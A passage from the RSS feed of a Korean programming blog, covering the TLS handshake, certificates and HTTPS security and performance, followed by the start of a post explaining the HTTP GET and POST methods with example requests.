&lt;p&gt;&lt;strong&gt;클라이언트 → 서버&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트가 서버에 연결을 요청합니다.

전송 내용:
- 지원하는 TLS 버전
- 지원하는 암호화 알고리즘 목록
- 클라이언트 랜덤 값 (Client Random)&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;2단계: Server Hello&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;서버 → 클라이언트&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;서버가 클라이언트의 요청에 응답합니다.

전송 내용:
- 선택한 TLS 버전
- 선택한 암호화 알고리즘
- 서버 랜덤 값 (Server Random)&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;3단계: Certificate (인증서 전송)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;서버 → 클라이언트&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;서버가 자신의 인증서를 전송합니다.

전송 내용:
- 서버 인증서 (CA가 발급)
- 서버 공개키&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;클라이언트의 인증서 검증:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;인증서가 유효한 CA에서 발급되었는지 확인&lt;/li&gt;
&lt;li&gt;인증서가 만료되지 않았는지 확인&lt;/li&gt;
&lt;li&gt;인증서의 도메인이 일치하는지 확인&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;4단계: Client Key Exchange&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;클라이언트 → 서버&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트가 대칭 키(세션 키)를 생성하고 서버 공개키로 암호화하여 전송합니다.

과정:
1. 클라이언트가 대칭 키 생성 (Pre-Master Secret)
2. 서버 공개키로 암호화
3. 서버에 전송&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;서버의 처리:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서버 개인키로 복호화하여 대칭 키 획득&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;5-6단계: Change Cipher Spec &amp;amp; Finished&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;양쪽 모두 암호화 시작을 알립니다.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트와 서버가 모두:
1. Change Cipher Spec: 암호화 시작 알림
2. Finished: 핸드셰이크 완료 확인&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;7단계: 암호화된 통신&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;이제 모든 데이터가 암호화되어 전송됩니다.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |&amp;lt;==== 암호화된 HTTP 데이터 ====&amp;gt;|
    |                         |&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;6. 인증서 (Certificate)란?&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;인증서의 정의&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;인증서(Certificate)&lt;/strong&gt;는 서버의 신원을 증명하는 디지털 문서입니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;인증서의 구성 요소&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;서버 정보&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;도메인 이름&lt;/li&gt;
&lt;li&gt;조직 정보&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;서버 공개키&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;클라이언트가 대칭 키를 암호화할 때 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CA 서명&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;신뢰할 수 있는 CA(Certificate Authority)가 서명&lt;/li&gt;
&lt;li&gt;인증서의 진위 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;CA (Certificate Authority)란?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;CA(Certificate Authority)&lt;/strong&gt;는 인증서를 발급하는 신뢰할 수 있는 기관입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;주요 CA:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Let&amp;#39;s Encrypt (무료)&lt;/li&gt;
&lt;li&gt;DigiCert&lt;/li&gt;
&lt;li&gt;GlobalSign&lt;/li&gt;
&lt;li&gt;Symantec&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;CA의 역할:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;서버의 신원 확인&lt;/li&gt;
&lt;li&gt;인증서 발급&lt;/li&gt;
&lt;li&gt;인증서 서명&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;인증서 검증 과정&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;클라이언트가 서버 인증서를 받음
    ↓
1. 인증서가 유효한 CA에서 발급되었는지 확인
    ↓
2. 인증서가 만료되지 않았는지 확인
    ↓
3. 인증서의 도메인이 현재 접속한 도메인과 일치하는지 확인
    ↓
4. 모든 검증 통과 → 서버 신뢰
   검증 실패 → 경고 표시&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;7. HTTPS의 보안 메커니즘&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;1. 기밀성 (Confidentiality)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;대칭 키 암호화로 데이터 보호:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;평문: &amp;quot;비밀번호: 1234&amp;quot;
암호화: &amp;quot;a8f5f167f44f4...&amp;quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;공격자가 패킷을 가로채도:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;암호화된 데이터만 볼 수 있음&lt;/li&gt;
&lt;li&gt;대칭 키를 모르면 복호화 불가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;2. 무결성 (Integrity)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;해시 함수로 데이터 변조 감지:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;원본 데이터 → 해시 값 계산
전송 중 변조 → 해시 값이 달라짐
→ 변조 감지&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;MAC (Message Authentication Code):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;데이터와 함께 MAC 전송&lt;/li&gt;
&lt;li&gt;수신자가 MAC을 검증하여 변조 여부 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;3. 인증 (Authentication)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;인증서로 서버 신원 확인:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;서버가 인증서를 제시
클라이언트가 CA를 통해 인증서 검증
→ 가짜 서버 방지&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;8. HTTP vs HTTPS 성능 비교&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;HTTPS의 오버헤드&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SSL/TLS Handshake&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;초기 연결 시 추가 시간 소요&lt;/li&gt;
&lt;li&gt;약 100-200ms 추가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;암호화/복호화&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CPU 사용량 증가&lt;/li&gt;
&lt;li&gt;약 2-5% 성능 저하&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;인증서 검증&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;인증서 검증 시간&lt;/li&gt;
&lt;li&gt;약간의 지연&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;성능 최적화&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;TLS 1.3 사용&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Handshake 시간 단축&lt;/li&gt;
&lt;li&gt;0-RTT 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;세션 재사용 (Session Resumption)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;이전 세션 정보 재사용&lt;/li&gt;
&lt;li&gt;Handshake 생략&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;HTTP/2 사용&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;멀티플렉싱으로 성능 향상&lt;/li&gt;
&lt;li&gt;HTTPS와 함께 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;결론:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;현대 하드웨어에서는 HTTPS 오버헤드가 미미함&lt;/li&gt;
&lt;li&gt;보안 이점이 성능 저하보다 훨씬 큼&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;모든 웹사이트는 HTTPS를 사용해야 함&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. 언제 HTTP를 사용하고 언제 HTTPS를 사용할까?&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;HTTP를 사용해야 하는 경우&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;❌ &lt;strong&gt;거의 없음&lt;/strong&gt; (현재는 권장하지 않음)&lt;/li&gt;
&lt;li&gt;개발/테스트 환경 (로컬 개발)&lt;/li&gt;
&lt;li&gt;내부 네트워크 (이미 보안된 환경)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;HTTPS를 사용해야 하는 경우&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;모든 공개 웹사이트&lt;/strong&gt; (필수)&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;로그인 페이지&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;결제 페이지&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;개인정보 입력 페이지&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;API 서버&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;모바일 앱 백엔드&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;현재 추세:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;모든 주요 웹사이트가 HTTPS 사용&lt;/li&gt;
&lt;li&gt;브라우저가 HTTP 사이트에 경고 표시&lt;/li&gt;
&lt;li&gt;검색 엔진이 HTTPS 사이트 우선 노출&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;요약&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;HTTP&lt;/strong&gt;는 평문으로 데이터를 전송하는 프로토콜로, 포트 80을 사용합니다. 중간에 패킷을 가로채면 내용을 볼 수 있어 보안에 취약합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;HTTPS&lt;/strong&gt;는 HTTP에 SSL/TLS 암호화를 추가한 보안 강화 버전으로, 포트 443을 사용합니다. 데이터를 암호화하여 기밀성, 무결성, 인증을 보장합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SSL/TLS Handshake&lt;/strong&gt;를 통해 서버 인증서를 검증하고 대칭 키를 안전하게 교환한 후, 암호화된 통신을 시작합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;현재는 모든 공개 웹사이트에서 HTTPS를 사용해야 하며&lt;/strong&gt;, 보안 이점이 성능 저하보다 훨씬 큽니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc7230&quot;&gt;RFC 7230 - HTTP/1.1 Message Syntax and Routing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc8446&quot;&gt;RFC 8446 - The Transport Layer Security (TLS) Protocol Version 1.3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://letsencrypt.org/&quot;&gt;Let&amp;#39;s Encrypt&lt;/a&gt; - 무료 SSL/TLS 인증서&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/HTTPS&quot;&gt;MDN Web Docs - HTTPS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;예상 꼬리질문 정리&lt;/h3&gt;
&lt;h4&gt;1. SSL과 TLS의 차이는?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;역사적 차이:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SSL (Secure Sockets Layer)&lt;/strong&gt;: Netscape가 개발 (1994년)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SSL 1.0, 2.0, 3.0&lt;/li&gt;
&lt;li&gt;현재 사용 안 함 (보안 취약)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;TLS (Transport Layer Security)&lt;/strong&gt;: IETF가 SSL 3.0을 기반으로 개발 (1999년)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TLS 1.0, 1.1, 1.2, 1.3&lt;/li&gt;
&lt;li&gt;현재 TLS 1.2, 1.3 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;현재:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;quot;SSL&amp;quot;이라고 부르지만 실제로는 &amp;quot;TLS&amp;quot;를 사용&lt;/li&gt;
&lt;li&gt;용어는 혼용되지만 기술적으로는 TLS&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. 대칭 키와 비대칭 키 암호화의 차이는?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;대칭 키 암호화 (Symmetric Key Encryption):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;같은 키로 암호화/복호화&lt;/li&gt;
&lt;li&gt;빠름 (실제 데이터 전송에 사용)&lt;/li&gt;
&lt;li&gt;키 교환이 어려움&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;비대칭 키 암호화 (Asymmetric Key Encryption):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;공개키/개인키 쌍 사용&lt;/li&gt;
&lt;li&gt;느림 (대칭 키 교환에만 사용)&lt;/li&gt;
&lt;li&gt;공개키는 공개, 개인키는 비공개&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;HTTPS에서의 사용:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;비대칭 키로 대칭 키를 안전하게 교환&lt;/li&gt;
&lt;li&gt;대칭 키로 실제 데이터 암호화&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;3. 인증서가 없으면 어떻게 되나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;자체 서명 인증서 (Self-Signed Certificate):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CA 없이 자체적으로 서명한 인증서&lt;/li&gt;
&lt;li&gt;브라우저가 &amp;quot;신뢰할 수 없는 연결&amp;quot; 경고 표시&lt;/li&gt;
&lt;li&gt;개발/테스트 환경에서만 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;인증서 없이 HTTPS 사용 불가:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTPS는 인증서가 필수&lt;/li&gt;
&lt;li&gt;인증서 없으면 Handshake 실패&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;해결 방법:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Let&amp;#39;s Encrypt 등에서 무료 인증서 발급&lt;/li&gt;
&lt;li&gt;상용 CA에서 유료 인증서 구매&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. HTTPS는 완전히 안전한가?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;HTTPS의 한계:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서버 측 보안 문제는 해결하지 못함&lt;/li&gt;
&lt;li&gt;클라이언트 측 보안 문제는 해결하지 못함&lt;/li&gt;
&lt;li&gt;인증서 관리 오류 (만료, 도메인 불일치)&lt;/li&gt;
&lt;li&gt;약한 암호화 알고리즘 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;추가 보안 필요:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서버 보안 강화&lt;/li&gt;
&lt;li&gt;클라이언트 보안 강화&lt;/li&gt;
&lt;li&gt;정기적인 보안 업데이트&lt;/li&gt;
&lt;li&gt;보안 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;결론:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTPS는 필수이지만 완전한 보안은 아님&lt;/li&gt;
&lt;li&gt;여러 보안 계층을 함께 사용해야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;5. HTTP/2와 HTTPS의 관계는?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;HTTP/2:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTP 프로토콜의 개선 버전&lt;/li&gt;
&lt;li&gt;멀티플렉싱, 헤더 압축 등 성능 향상&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;HTTPS와의 관계:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTP/2는 &lt;strong&gt;HTTPS를 필수로 요구&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;대부분의 브라우저가 HTTP/2 over HTTPS만 지원&lt;/li&gt;
&lt;li&gt;HTTP/2 over HTTP는 지원하지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;이유:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;보안을 강제하기 위함&lt;/li&gt;
&lt;li&gt;모든 통신을 암호화&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;</description>
      <category>Network</category>
      <author>jaemeon</author>
      <guid isPermaLink="true">https://jaemeon.tistory.com/130</guid>
      <comments>https://jaemeon.tistory.com/130#entry130comment</comments>
      <pubDate>Mon, 26 Jan 2026 08:24:34 +0900</pubDate>
    </item>
    <item>
      <title>Network_04) 직역하지 마세요. 조회하고 게시하는 get, post</title>
      <link>https://jaemeon.tistory.com/129</link>
      <description>&lt;h2&gt;Topic (오늘의 주제)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;GET&lt;/strong&gt;과 &lt;strong&gt;POST&lt;/strong&gt;는 HTTP(HyperText Transfer Protocol)에서 가장 많이 사용되는 두 가지 메서드입니다. GET은 서버로부터 데이터를 조회할 때 사용하고, POST는 서버에 데이터를 생성하거나 전송할 때 사용합니다. 각 메서드의 특성과 데이터 전송 방식, 그리고 사용 사례를 이해하는 것이 중요합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;Why (왜 사용하는가? 왜 중요한가?)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;GET과 POST는 웹 개발에서 가장 기본적이면서도 중요한 HTTP 메서드입니다. 각 메서드의 특성(멱등성, 안전성, 캐싱 가능 여부)과 데이터 전송 방식을 이해하면 RESTful API를 올바르게 설계할 수 있고, 보안과 성능을 고려한 애플리케이션을 개발할 수 있습니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;GET과 POST의 차이점(데이터 전송 위치, 용도, 캐싱, 브라우저 히스토리, 멱등성, 안전성), 각 메서드의 데이터 흐름, 그리고 언제 어떤 메서드를 사용해야 하는지 이해해야 합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;1. HTTP 메서드란?&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;HTTP 메서드의 정의&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;HTTP 메서드(HTTP Method)&lt;/strong&gt;는 클라이언트가 서버에 요청할 때 수행하고자 하는 동작을 나타내는 명령어입니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;주요 HTTP 메서드&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GET&lt;/strong&gt;: 리소스 조회&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;POST&lt;/strong&gt;: 리소스 생성&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PUT&lt;/strong&gt;: 리소스 전체 수정&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PATCH&lt;/strong&gt;: 리소스 부분 수정&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DELETE&lt;/strong&gt;: 리소스 삭제&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. GET 메서드&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;GET의 정의&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;GET&lt;/strong&gt;은 서버로부터 리소스를 조회(Read)할 때 사용하는 메서드입니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;GET의 주요 특징&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;데이터 전송 위치: URL의 쿼리 스트링(Query String)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /users?id=123&amp;amp;name=홍길동 HTTP/1.1
Host: example.com&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;멱등성(Idempotent)&lt;/strong&gt;: 여러 번 요청해도 결과가 동일&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /users?id=123 (1번 요청) → 사용자 정보 반환
GET /users?id=123 (2번 요청) → 같은 사용자 정보 반환
GET /users?id=123 (3번 요청) → 같은 사용자 정보 반환&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;안전성(Safe)&lt;/strong&gt;: 서버의 상태를 변경하지 않음&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;조회만 수행하므로 서버 데이터에 영향 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;캐싱 가능&lt;/strong&gt;: 브라우저나 프록시 서버에서 캐싱 가능&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;같은 요청은 캐시에서 응답 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;브라우저 히스토리 저장&lt;/strong&gt;: URL이 히스토리에 저장됨&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;북마크 가능&lt;/strong&gt;: URL을 북마크할 수 있음&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;GET 요청의 데이터 흐름&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |---- GET /users?id=123 --&amp;gt;|  [요청: URL에 데이터 포함]
    |                         |
    |                         |  [서버: 데이터 조회]
    |                         |
    |&amp;lt;---- 200 OK (데이터) -----|  [응답: 조회된 데이터]
    |                         |&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;요청 예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /api/users?id=123&amp;amp;name=홍길동 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: application/json&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;응답 예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 156

{
  &amp;quot;id&amp;quot;: 123,
  &amp;quot;name&amp;quot;: &amp;quot;홍길동&amp;quot;,
  &amp;quot;email&amp;quot;: &amp;quot;hong@example.com&amp;quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;GET의 사용 사례&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;리소스 조회&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /users/123          # 사용자 정보 조회
GET /products?category=electronics  # 상품 목록 조회
GET /articles/456       # 게시글 조회&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;검색&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /search?q=spring    # 검색어로 검색
GET /filter?price=1000  # 필터링&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;페이지 조회&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /home               # 홈 페이지
GET /about              # 소개 페이지&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. POST 메서드&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;POST의 정의&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;POST&lt;/strong&gt;는 서버에 데이터를 전송하여 리소스를 생성(Create)하거나 처리할 때 사용하는 메서드입니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;POST의 주요 특징&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;데이터 전송 위치: HTTP 요청 본문(Request Body)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /users HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 45

{
  &amp;quot;name&amp;quot;: &amp;quot;홍길동&amp;quot;,
  &amp;quot;email&amp;quot;: &amp;quot;hong@example.com&amp;quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;비멱등성(Non-idempotent)&lt;/strong&gt;: 같은 요청을 여러 번 하면 다른 결과 발생 가능&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /users (1번 요청) → 사용자 1 생성
POST /users (2번 요청) → 사용자 2 생성 (다른 결과)
POST /users (3번 요청) → 사용자 3 생성 (다른 결과)&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;안전성 없음(Unsafe)&lt;/strong&gt;: 서버의 상태를 변경함&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;데이터 생성, 수정, 삭제 등 서버 상태 변경&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;캐싱 불가능&lt;/strong&gt;: 일반적으로 캐싱하지 않음&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서버 상태를 변경하므로 캐시 사용 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
